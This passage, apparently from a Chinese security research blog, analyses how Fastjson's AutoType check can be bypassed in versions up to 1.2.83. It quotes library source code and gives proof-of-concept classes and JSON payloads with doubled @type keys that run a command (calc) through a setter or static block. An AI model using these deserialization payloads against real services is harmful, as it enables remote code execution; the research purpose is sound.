此payload可以通杀1.2.25-1.2.47下autoTypeSupport为false的情况,但是当此参数为True时,在低版本(本人测试的1.2.25-1.2.32)中会抛出异常,在高版本1.2.47中无论true还是false都可以成功,原因如下:
在高版本中,抛出异常不仅需要在黑名单之中,还需要不在mapping里面,因为我们已经加入到了mapping,所以在高版本中,即使autoTypeSupport为true,依然可以成功利用。
通过阅读源码,最后发现这个逻辑是在1.2.33中开始加入的,也就是说,缓存链(暂时就叫他这个名字吧)在1.2.25-1.2.32中,需要autoTypeSupport为False,在1.2.33-1.2.47中无论autoTypeSupport是什么值,都可以成功利用。
1.2.48-1.2.67
在1.2.48版本中,修改了cache的默认值为false。所以在1.2.48-1.2.67的版本中,有的都是针对黑名单的绕过,有着许多新的链条。
具体可看:mi1k7ea师傅的博客
1.2.68-
在此版本中, fastJson引入了safeMod功能:
ParserConfig.getGlobalInstance().setSafeMode(true);
当开启safeMod选项时,会直接抛出异常:
所以,这意味着,之前的Payload在safeMode开启时都会失效。目前好像没有披露出什么办法可以做到绕过此选项。
expectClass绕过AutoTypeSupport(<=1.2.68且未开启safeMode——AutoCloseable)
这里提出了一种不同于利用缓存绕过AutoTypeSupport的思路,此处代码以1.2.25为例子,在其他版本中,代码逻辑变化也不大。当我们的@type为AutoCloseable时,因为他就在Mappings中,所以会返回对应类:
当回到DefaultJsonParser时,获取到的是JavaBeanDeserializer:
最后调用JavaBeanDeserializer的deserialze方法,跟进,有如下的代码逻辑:
if (!matchField) {
//获取了第二个参数
key = lexer.scanSymbol(parser.symbolTable);
//省略...
if (JSON.DEFAULT_TYPE_KEY == key) {//JSON.DEFAULT_TYPE_KEY为@type
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
// 获取了参数的值
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);
if (typeName.equals(beanInfo.typeName)) {
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}
continue;
}
ParserConfig config = parser.getConfig();
ObjectDeserializer deserizer = getSeeAlso(config, this.beanInfo, typeName);
Class<?> userType = null;
if (deserizer == null) {
//注意这里,有反序列化逻辑
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass);
deserizer = parser.getConfig().getDeserializer(userType);
}
return (T) deserizer.deserialze(parser, userType, fieldName);
从代码可以看到,在JavaBeanDeserializer的deserialze中,会去获取第二个key,并key为@type时,会去获取其值,最后尝试将其反序列化。这里的checkAutoType中的typeName即为第二个@type的值,expectClass为AutoCloseable。继续跟进,回到我们的checkAutoType:
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
因为expectClass不为空,所以会进入这里的检查,这就以为着我们的类不能在黑名单之中,师傅们可能会觉得,说了半天,这不还是没用吗,但是我们先接着往下看:
//会进入这里
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
//检查clazz和expectClass间的关系
if (expectClass.isAssignableFrom(clazz)) {
// 注意这里有return
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
从代码上可以看出,因为我们的expectClass不为空,所以会调用loadClass直接加载,之后如果被加载类是expectClass(即AutoCloseable)的子类或是存在继承关系就会成功return。若其中有恶意的setter或者getter就可以用来攻击了。
因此,expectClass绕过AutoTypeSupport的关键点如下:
- 第一个@type要指定为AutoCloseable(本菜狗有遍历一下Mappings中的其他类,他们貌似都获取不到JavaBeanDeserializer)
- Payload中有第二个@type
- 指定的类不能在黑名单之中
- 指定的类与AutoCloseable存在关系
- 指定的类中有可以利用的setter或是getter
POC代码如下,恶意类实现了AutoCloseable接口,并在setter里面有恶意操作:
public class HackerMe implements AutoCloseable{
private String cmd;
public HackerMe(){
}
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
@Override
public void close() throws Exception {
}
}
Payload如下:
String evilJson = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"HackerMe\",\"cmd\":\"calc\"}";
不过在真实环境中是不存在这样的类的,考虑到文章篇幅已经很长了,这里就先给出有实际Gadget的链接,之后本人准备将再写一篇《高版本FastJson下的利用链分析》,来将一些链条汇总分析。
具体可看:mi1k7ea师傅的博客,AutoCloseable在1.2.69中被加入了黑名单,所以在之后的版本无法实现绕过。
expectClass绕过AutoTypeSupport(<=1.2.82且未开启safeMode——Exception/Error)
在上文我们讲解了利用AutoCloseable类来进行expectClass的绕过,其实在源码中通过正则checkAutoType\((.+?), (?!null).+,
可以看到,还有还有另外一个Deserializer存在往checkAutoType传exceptClass的情况:
如上图所示,在ThrowableDeserializer也同样存在类似代码,同样的是有获取第二个键值的操作,其中传入的exceptClass是Throwable,并且在最后会调用其setter:
所以我们只要在Mappings中找到谁会调用ThrowableDeserializer就行了,在ParserConfig的getDeserializer可以看到有如下的逻辑:
else if (Map.class.isAssignableFrom(clazz)) {
deserializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
// 注意这里
deserializer = new ThrowableDeserializer(this, clazz);
} else if //省略
可以看到,只要是Throwable的子类就行,在Mappings里面我们虽然没有直接看到直接继承Throwable的,但是我们发现Exception和Error是继承的Throwable:
public class Error extends Throwable {
static final long serialVersionUID = 4980196508277280342L;
//略
public class RuntimeException extends Exception {
static final long serialVersionUID = -7034897190745766939L;
//略
而在mappings里,我们可以看到有一大堆的异常类,他们都直接或是间接的继承了Exception和Error,从而继承了Throwable:
所以POC可以如下构造:
public class JustTest extends Exception{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
Payload如下:
String evilJson = "{\"@type\":\"java.lang.Exception\",\"@type\":\"JustTest\"}";
同样的,这里的实际利用链将在之后的文章进行分析。值得一提的是,利用异常类来绕过AutoType的方法,直到1.2.83才被修复。
0x07 参考
- P牛知识星球里大师傅分享的PDF (大家有兴趣也可以加入P牛的知识星球,一次加入,永久免费:https://t.zsxq.com/04bUVbeuf)
- 跳跳糖@Da22le师傅的文章
- @mi1k7ea师傅的博客
- @kingx师傅的博客